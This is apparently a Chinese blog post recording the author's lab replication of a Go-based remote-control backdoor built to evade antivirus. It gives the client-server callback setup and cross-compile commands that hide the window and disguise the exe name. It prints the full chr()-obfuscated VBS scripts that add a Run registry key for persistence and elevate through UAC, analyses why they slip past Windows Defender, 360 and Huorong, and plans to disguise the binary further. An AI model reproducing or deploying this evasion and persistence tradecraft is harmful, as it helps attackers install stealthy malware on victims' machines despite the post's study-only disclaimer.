PS:本文仅用于技术学习与讨论,严禁用于任何非法用途,违者后果自负。本文的核心基础是参考学习了这篇文档,各位可以先学习一下大神的思路;我是站在巨人的肩膀上记录一下自己的尝试过程。
我的物理机:MAC系统(扮演攻击者);
我的测试机:PD虚机安装3个win10系统;(一个虚机A安装了360全家桶+火绒+WD的秒杀效果;另一个虚机B只测试win10自带的WD免杀效果;最后一个虚机C用来完善最终go编译的exe文件的版本信息及图标;备注:也可以不用这么麻烦,就一个系统直接测试编译也行记得做系统快照,这样恢复起来非常方便;)
一、学习并实践大神的思路
1.新建并在MAC上运行server端,另一个client端编程成exe,然后在任何一个测试机上面进行测试(一定要先将所有杀毒软件关闭,本次只实验代码效果是否可以成功运行);
server.go
var (
inputIP = flag.String("IP", "0.0.0.0", "Listen IP")//修改自定监听的网卡
inputPort = flag.String("PORT", "5353", "Listen Port")//修改自定监听端口
connPwd = flag.String("PWD", "18Sd9fkdkf9", "Connection Password")//client与server连接使用的密码,保持一致
2.输入 "session"回车,查看前连接的客户端有哪些;
3.新建client,编译exe程序
client.go
const ( IP = "10.211.55.2:5353" //攻击者的回连目的ip地址(MAC系统的ip) CONNPWD = "18Sd9fkdkf9"//回连使用的认证密码 )
因为我是在MAC上面跨平台编译exe,而大神可能是在win下面编译exe,所以跨平台编译需要使用一些小技巧;
➜ #:CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H=windowsgui" -o GNUToolsNoAdmin.exe //设置go env环境,是的本次编译目标程序是win系统,64位应用; CGO_ENABLED=0 GOOS=windows GOARCH=amd64 //增加-s -w -H=windowsgui 这样默认应用程序启动后会隐藏界面,更佳隐蔽; go build -ldflags "-s -w -H=windowsgui" -o GNUToolsNoAdmin.exe 课外知识点补充: 一、Mac 下编译 Linux 和 Windows 64位可执行程序 CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go 二、Linux 下编译 Mac 和 Windows 64位可执行程序 CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go 三、Windows 下编译 Mac 和 Linux 64位可执行程序 SET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build main.go SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go
4.运行client,查看效果
关闭A/B系统的安全防护程序并运行GNUToolsNoAdmin.exe,查看server端
可以看到,client连接后,server默认会有连接提醒;通过使用session命令,输入1与其建立连接,测试截图功能;
大神的思路尝试完成;效果已经成功;下一步是分析一下大神的代码内容,并再次尝试代码是如何实现免杀的(大神的代码win10自带的防护WD会有警告,但是默认不删除!360会报毒同时删除过程中的临时脚本!)
二、代码分析(本次只分析client.go代码;)
因为代码比较简单移动,节约时间我就说一下client代码运行的基本流程
1.重点分析其中的免杀vbs脚本内容
2.程序运行过程中生成了两个vbs脚本,先贴一下最终人类能看懂“翻译过来”的脚本内容
add.vbs: Set objWsh = CreateObject("WScript.Shell") objWsh.Run "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AUTORUN /t REG_SZ /d C:\ProgramData\mspaint.exe /f",vbhide objWsh.Run "test.vbs reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AUTORUN /t REG_SZ /d C:\ProgramData\mspaint.exe /f",vbhide test.vbs: Set UAC = CreateObject("Shell.Application") Set Shell = CreateObject("WScript.Shell") If WScript.Arguments.count<1 Then WScript.echo "语法: sudo <command> [args]" ElseIf WScript.Arguments.count=1 Then UAC.ShellExecute WScript.arguments(0), "", "", "runas", 1 ' WScript.Sleep 1500 ' Dim ret ' ret = Shell.Appactivate("用户账户控制") ' If ret = true Then ' Shell.sendkeys "%y" ' Else ' WScript.echo "自动获取管理员权限失败,请手动确认。" ' End If Else Dim ucCount Dim args args = NULL For ucCount=1 To (WScript.Arguments.count-1) Step 1 args = args & " " & WScript.Arguments(ucCount) Next UAC.ShellExecute WScript.arguments(0), args, "", "runas", 5 End If
3.再粘贴一下代码中vbs脚本原文
add.vbs: execute(chr(83)&chr(101)&chr(116)&chr(32)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(32)&chr(61)&chr(32)&chr(67)&chr(114)&chr(101)&chr(97)&chr(116)&chr(101)&chr(79)&chr(98)&chr(106)&chr(101)&chr(99)&chr(116)&chr(40)&chr(34)&chr(87)&chr(83)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(83)&chr(104)&chr(101)&chr(108)&chr(108)&chr(34)&chr(41)&chr(10)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(46)&chr(82)&chr(117)&chr(110)&chr(32)&chr(34)&chr(114)&chr(101)&chr(103)&chr(32)&chr(97)&chr(100)&chr(100)&chr(32)&chr(72)&chr(75)&chr(69)&chr(89)&chr(95)&chr(76)&chr(79)&chr(67)&chr(65)&chr(76)&chr(95)&chr(77)&chr(65)&chr(67)&chr(72)&chr(73)&chr(78)&chr(69)&chr(92)&chr(83)&chr(79)&chr(70)&chr(84)&chr(87)&chr(65)&chr(82)&chr(69)&chr(92)&chr(77)&chr(105)&chr(99)&chr(114)&chr(111)&chr(115)&chr(111)&chr(102)&chr(116)&chr(92)&chr(87)&chr(105)&chr(110)&chr(100)&chr(111)&chr(119)&chr(115)&chr(92)&chr(67)&chr(117)&chr(114)&chr(114)&chr(101)&chr(110)&chr(116)&chr(86)&chr(101)&chr(114)&chr(115)&chr(105)&chr(111)&chr(110)&chr(92)&chr(82)&chr(117)&chr(110)&chr(32)&chr(47)&chr(118)&chr(32)&chr(65)&chr(85)&chr(84)&chr(79)&chr(82)&chr(85)&chr(78)&chr(32)&chr(47)&chr(116)&chr(32)&chr(82)&chr(69)&chr(71)&chr(95)&chr(83)&chr(90)&chr(32)&chr(47)&chr(100)&chr(32)&chr(67)&chr(58)&chr(92)&chr(80)&chr(114)&chr(111)&chr(103)&chr(114)&chr(97)&chr(109)&chr(68)&chr(97)&chr(116)&chr(97)&chr(92)&chr(109)&chr(115)&chr(112)&chr(97)&chr(105)&chr(110)&chr(116)&chr(46)&chr(101)&chr(120)&chr(101)&chr(32)&chr(47)&chr(102)&chr(34)&chr(44)&chr(118)&chr(98)&chr(104)&chr(105)&chr(100)&chr(101)&chr(10)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(46)&chr(82)&chr(117)&chr(110)&chr(32)&chr(34)&chr(116)&chr(101)&chr(115)&chr(116)&chr(46)&chr(118)&chr(98)&chr(115)&chr(32)&chr(114)&chr(101)&chr(103)&chr(32)&chr(97)&chr(100)&chr(100)&chr(32)&chr(72)&chr(75)&chr(69)&chr(89)&chr(95)&chr(76)&chr(79)&chr(67)&chr(65)&chr(76)&chr(95)&chr(77)&chr(65)&chr(67)&chr(72)&chr(73)&chr(78)&chr(69)&chr(92)&chr(83)&chr(79)&chr(70)&chr(84)&chr(87)&chr(65)&chr(82)&chr(69)&chr(92)&chr(77)&chr(105)&chr(99)&chr(114)&chr(111)&chr(115)&chr(111)&chr(102)&chr(116)&chr(92)&chr(87)&chr(105)&chr(110)&chr(100)&chr(111)&chr(119)&chr(115)&chr(92)&chr(67)&chr(117)&chr(114)&chr(114)&chr(101)&chr(110)&chr(116)&chr(86)&chr(101)&chr(114)&chr(115)&chr(105)&chr(111)&chr(110)&chr(92)&chr(82)&chr(117)&chr(110)&chr(32)&chr(47)&chr(118)&chr(32)&chr(65)&chr(85)&chr(84)&chr(79)&chr(82)&chr(85)&chr(78)&chr(32)&chr(47)&chr(116)&chr(32)&chr(82)&chr(69)&chr(71)&chr(95)&chr(83)&chr(90)&chr(32)&chr(47)&chr(100)&chr(32)&chr(67)&chr(58)&chr(92)&chr(80)&chr(114)&chr(111)&chr(103)&chr(114)&chr(97)&chr(109)&chr(68)&chr(97)&chr(116)&chr(97)&chr(92)&chr(109)&chr(115)&chr(112)&chr(97)&chr(105)&chr(110)&chr(116)&chr(46)&chr(101)&chr(120)&chr(101)&chr(32)&chr(47)&chr(102)&chr(34)&chr(44)&chr(118)&chr(98)&chr(104)&chr(105)&chr(100)&chr(101)) test.vbs: execute(chr(83)&chr(101)&chr(116)&chr(32)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(32)&chr(61)&chr(32)&chr(67)&chr(114)&chr(101)&chr(97)&chr(116)&chr(101)&chr(79)&chr(98)&chr(106)&chr(101)&chr(99)&chr(116)&chr(40)&chr(34)&chr(87)&chr(83)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(83)&chr(104)&chr(101)&chr(108)&chr(108)&chr(34)&chr(41)&chr(10)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(46)&chr(82)&chr(117)&chr(110)&chr(32)&chr(34)&chr(114)&chr(101)&chr(103)&chr(32)&chr(97)&chr(100)&chr(100)&chr(32)&chr(72)&chr(75)&chr(69)&chr(89)&chr(95)&chr(76)&chr(79)&chr(67)&chr(65)&chr(76)&chr(95)&chr(77)&chr(65)&chr(67)&chr(72)&chr(73)&chr(78)&chr(69)&chr(92)&chr(83)&chr(79)&chr(70)&chr(84)&chr(87)&chr(65)&chr(82)&chr(69)&chr(92)&chr(77)&chr(105)&chr(99)&chr(114)&chr(111)&chr(115)&chr(111)&chr(102)&chr(116)&chr(92)&chr(87)&chr(105)&chr(110)&chr(100)&chr(111)&chr(119)&chr(115)&chr(92)&chr(67)&chr(117)&chr(114)&chr(114)&chr(101)&chr(110)&chr(116)&chr(86)&chr(101)&chr(114)&chr(115)&chr(105)&chr(111)&chr(110)&chr(92)&chr(82)&chr(117)&chr(110)&chr(32)&chr(47)&chr(118)&chr(32)&chr(65)&chr(85)&chr(84)&chr(79)&chr(82)&chr(85)&chr(78)&chr(32)&chr(47)&chr(116)&chr(32)&chr(82)&chr(69)&chr(71)&chr(95)&chr(83)&chr(90)&chr(32)&chr(47)&chr(100)&chr(32)&chr(67)&chr(58)&chr(92)&chr(80)&chr(114)&chr(111)&chr(103)&chr(114)&chr(97)&chr(109)&chr(68)&chr(97)&chr(116)&chr(97)&chr(92)&chr(109)&chr(115)&chr(112)&chr(97)&chr(105)&chr(110)&chr(116)&chr(46)&chr(101)&chr(120)&chr(101)&chr(32)&chr(47)&chr(102)&chr(34)&chr(44)&chr(118)&chr(98)&chr(104)&chr(105)&chr(100)&chr(101)&chr(10)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(46)&chr(82)&chr(117)&chr(110)&chr(32)&chr(34)&chr(116)&chr(101)&chr(115)&chr(116)&chr(46)&chr(118)&chr(98)&chr(115)&chr(32)&chr(114)&chr(101)&chr(103)&chr(32)&chr(97)&chr(100)&chr(100)&chr(32)&chr(72)&chr(75)&chr(69)&chr(89)&chr(95)&chr(76)&chr(79)&chr(67)&chr(65)&chr(76)&chr(95)&chr(77)&chr(65)&chr(67)&chr(72)&chr(73)&chr(78)&chr(69)&chr(92)&chr(83)&chr(79)&chr(70)&chr(84)&chr(87)&chr(65)&chr(82)&chr(69)&chr(92)&chr(77)&chr(105)&chr(99)&chr(114)&chr(111)&chr(115)&chr(111)&chr(102)&chr(116)&chr(92)&chr(87)&chr(105)&chr(110)&chr(100)&chr(111)&chr(119)&chr(115)&chr(92)&chr(67)&chr(117)&chr(114)&chr(114)&chr(101)&chr(110)&chr(116)&chr(86)&chr(101)&chr(114)&chr(115)&chr(105)&chr(111)&chr(110)&chr(92)&chr(82)&chr(117)&chr(110)&chr(32)&chr(47)&chr(118)&chr(32)&chr(65)&chr(85)&chr(84)&chr(79)&chr(82)&chr(85)&chr(78)&chr(32)&chr(47)&chr(116)&chr(32)&chr(82)&chr(69)&chr(71)&chr(95)&chr(83)&chr(90)&chr(32)&chr(47)&chr(100)&chr(32)&chr(67)&chr(58)&chr(92)&chr(80)&chr(114)&chr(111)&chr(103)&chr(114)&chr(97)&chr(109)&chr(68)&chr(97)&chr(116)&chr(97)&chr(92)&chr(109)&chr(115)&chr(112)&chr(97)&chr(105)&chr(110)&chr(116)&chr(46)&chr(101)&chr(120)&chr(101)&chr(32)&chr(47)&chr(102)&chr(34)&chr(44)&chr(118)&chr(98)&chr(104)&chr(105)&chr(100)&chr(101))
4.说明一下为什么编码的脚本也能运行:5.再说明一下我是如何进行翻译的:在线工具网站
add.vbs为例: 1.代码原文 execute(chr(83)&chr(101)&chr(116)&chr(32)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(32)&chr(61)&chr(32)&chr(67)....&chr(104)&chr(105)&chr(100)&chr(101)) 2.去掉无用字符 chr(83)&chr(101)&chr(116)&chr(32)&chr(111)&chr(98)&chr(106)&chr(87)&chr(115)&chr(104)&chr(32)&chr(61)&chr(32)&chr(67)....&chr(104)&chr(105)&chr(100)&chr(101)
3.搜索替换格式化 83`101`116`32`111`98`106`87`115`104`32`61`32`67....104`105`100`101
4.打开在线工具网站
S`e`t` `o`b`j`W`s`h` `=` `C.....
5.再次格式化生产最终版本 Set objWsh = C....
6.脚本翻译完成,简单看看脚本内容;(只看add.vbs注册表修改这块)
add.vbs: Set objWsh = CreateObject("WScript.Shell") objWsh.Run "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AUTORUN /t REG_SZ /d C:\ProgramData\mspaint.exe /f",vbhide objWsh.Run "test.vbs reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AUTORUN /t REG_SZ /d C:\ProgramData\mspaint.exe /f",vbhide 核心内容:修改注册表,开机程序自启;同时设置执行脚本是页面自动隐藏(vbhide==0 写成0也是可以的,因为这个变量“vbhide”没有指明,所以默认值为0);
7.说说我认为可能起到免杀的原因吧
(1)这个vbs编码也是代码中想实现免杀的一部分,且确实有一定功效(WD发现了且说明可能有一定危害,但是没有删除;火绒默认放行vbs和程序;360对这个add.vbs直接查杀但是对exe放行);
(2)GO编译出来的程序没有用到其他msf等常用且重点关注的payload,所以程序的特征码应该不在病毒名单中;
(3)但是还是不完美,360对于vbs文件和注册表查杀效果太严,后面考虑如何再次对脚本编码,或者再查查其他方法;
三、GO编译exe后完善版本信息及以管理员方式启动应用(另起一篇单独完善)
1.为了将编译后的exe伪装的和正常程序相似,我们可以完善应用的信息及图标(甚至尝试签名)
2.对应用启动时自动请求管理员权限,这样也可以再搞搞其他事情;